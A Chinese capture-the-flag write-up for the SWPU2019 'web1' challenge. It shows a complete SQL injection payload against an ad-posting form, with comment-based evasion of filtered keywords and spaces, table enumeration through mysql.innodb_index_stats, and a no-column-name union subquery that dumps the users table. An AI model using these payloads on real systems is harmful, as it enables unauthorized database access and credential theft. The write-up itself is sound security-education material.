码迷,mamicode.com
首页 > 其他好文 > 详细

SWPU2019

时间:2021-01-01 11:42:49      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:use   date   登陆   table   new   image   lazy   介绍   界面   

一、题目打开介绍

技术图片这是题目本身打开的样子,继续进入题目

二、做题

技术图片

简单的登陆界面和注册界面,没有sql注入已经尝试

技术图片

申请发布广告

技术图片

习惯性的测试

技术图片

然后开始尝试注入,抓包,

技术图片
技术图片

两个都要,经过union注入判断列数,发现是22列

然后收集信息

database() web1
version() 10.2.26-MariaDB-log

然后开始使用information库进行爆表,爆字段
技术图片

然后没有用,再加上一下字符被毁掉

and or updatexml 空格

用/**/代替空格,然后继续解决无法爆出表的问题

经过百度发现还有一个表可以爆出表名

https://mariadb.com/kb/en/mysqlinnodb_index_stats/

就是上面这个库,然后开始继续操作就行

tables() FLAG_TABLE,news,users,gtid_slave_pos,ads,users

这就是已经取得的数据。

下面解决无法爆字段的问题

select * from users

如果直接使用这个命令的·话,他会返回多条数据然后并且报错,并且我们现在无法知道字段名,必须再想其他的办法

select 1,2,3 union select * from users

这样就可以造出临时表,字段名分别可以知道了需要猜一下字段数

最后 payload

title=-1‘and/**/union/**/select/**/1,(select/**/group_concat(b)from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22‘&content=a&ac=add

这里有两个注意的点

1.临时表再次使用时必须要有一个别名

2.记得带括号

3.数字不能做字段名

SWPU2019

标签:use   date   登陆   table   new   image   lazy   介绍   界面   

原文地址:https://www.cnblogs.com/dem0/p/14197535.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!